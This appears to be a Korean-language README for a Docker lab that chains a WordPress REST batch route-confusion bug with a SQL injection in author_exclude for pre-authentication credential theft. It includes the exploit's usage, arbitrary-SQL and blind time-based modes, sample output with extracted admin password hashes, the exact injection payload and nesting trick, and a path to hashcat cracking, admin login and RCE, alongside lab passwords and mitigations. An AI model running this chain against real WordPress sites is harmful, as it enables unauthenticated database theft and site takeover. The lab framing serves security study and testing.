
Docker 기반 취약한 WordPress 실습 환경으로, 인증 전(pre-auth) 경로 혼동(route confusion)과 SQL 인젝션 체인(CVE-2026-63030 + CVE-2026-60137)을 시연하는 Python 익스플로잇을 통해 자격 증명 추출 및 RCE를 수행합니다.
| CVE | 구성 요소 | 설명 |
|---|
| CVE-2026-63030 | REST API /wp-json/batch/v1 | Route confusion: 하위 요청 검증과 디스패치 간의 역동기화 |
| CVE-2026-60137 | WP_Query (author__not_in) | 값이 배열 대신 string일 때 발생하는 SQL injection |
연쇄적으로 사용하면 공격자가 자격 증명 없이도 임의 SQL을 실행할 수 있으며 (전체 시퀀스에서는 RCE까지 도달). WordPress 6.9.5 및 7.0.2에서 수정됨. RCE 체인의 영향을 받는 버전: 6.9.0–6.9.4 및 7.0.0–7.0.1.
⚠️ 경고: 의도적으로 안전하지 않은 환경입니다. 로컬에서만, 격리된 상태로 사용하세요. 인터넷에 절대 노출하지 마세요. 이 exploit은 이 랩(또는 명시적 승인을 받은 시스템)에서만 사용해야 합니다.
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
이렇게 하면 다음이 생성됩니다:
admin / SuperSecret123!victim / Victim_P@ss_2026 (해시 추출 대상인 두 번째 admin)get_items()가 행을 반환하는 데 필요)취약한 버전 확인:
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
python3 exploit.py --url http://localhost:8080
출력 (요약):
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
기타 옵션:
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
이 exploit은 Python 3 표준 라이브러리만 사용합니다 (의존성 없음).
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
해시는 exploit으로 추출된 것과 동일해야 합니다 (exploit은 데이터베이스에 접근한 적이 없음).
serve_batch_request_v1)wp-includes/rest-api/class-wp-rest-server.php에서 배치 핸들러는 두 개의 병렬 배열을 사용합니다:
$matches (일치하는 라우트/핸들러)와 $validation (검증 결과):
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // <-- entra SÓ em $validation
continue; // <-- $matches NÃO recebe entrada => desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
디스패치 시 핸들러는 $matches[$i]의 인덱스로 읽히는 반면, $single_request
및 $validation[$i]는 $requests의 전체 인덱스를 따릅니다. 파싱에 실패하는 primer
("///")가 $matches의 모든 항목을 한 칸씩 밀어내므로, 하나의 하위 요청이
다른 요청의 핸들러로 실행됩니다.
배치 스키마는 POST/PUT/PATCH/DELETE 메서드만 허용합니다 (GET은
rest_not_in_enum으로 거부). exploit은 배치 안에 배치를 넣어 이를 우회합니다:
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
carrier는 posts의 create_item으로 검증됩니다 (allow_batch=true, 필수
params 없음 → 통과). 배치로 검증되지 않으므로 해당 body는 메서드 enum 검증을
우회합니다.carrier는 /batch/v1 핸들러로 디스패치됩니다 (3번째
하위 요청에서 탈취) → serve_batch_request_v1이 원시 body를 GET 하위 요청으로 처리합니다.BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=<PAYLOAD>, <-- users NÃO define author_exclude => valor cru
GET /wp/v2/posts ]
새로운 내부 desync → author_exclude(비살균)를 실은 GET /wp/v2/users 요청이
**posts get_items()**로 실행됩니다. 해당 지점에서:
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
그리고 WP_Query (class-wp-query.php)의 취약한 코드:
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // <-- string PULA a sanitização
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );
sort( ... );
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] );
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // <-- injeção
}
사용된 부울 페이로드: 0) AND (<condição>)-- -. WHERE를 오라클로 변환합니다
(posts 목록 포함 = 참, 빈 목록 = 거짓). 이진 탐색으로 문자 단위 추출.
참고: advisory에 설명된 대로, 이 경로는 영구 객체 캐시가 없을 때 (랩의 기본 구성), 도달 가능합니다.
이 랩은 체인의 핵심인 사전 인증 부분 (route confusion → SQLi → 해시 유출)을 검증합니다. advisory의 전체 시퀀스는 다음과 같이 이어집니다:
$wp$2y$... (bcrypt) 해시를 오프라인으로 크랙 — hashcat -m 3200./wp-admin에 로그인.author__not_in이 string이어도 정수로 강제 변환 (wp_parse_id_list)/wp-json/batch/v1을 필터링하는 WAF, 인증되지 않은 REST API 비활성화,
SQL이 포함된 author_exclude 요청 모니터링.docker compose down -v # remove containers + volumes (dados)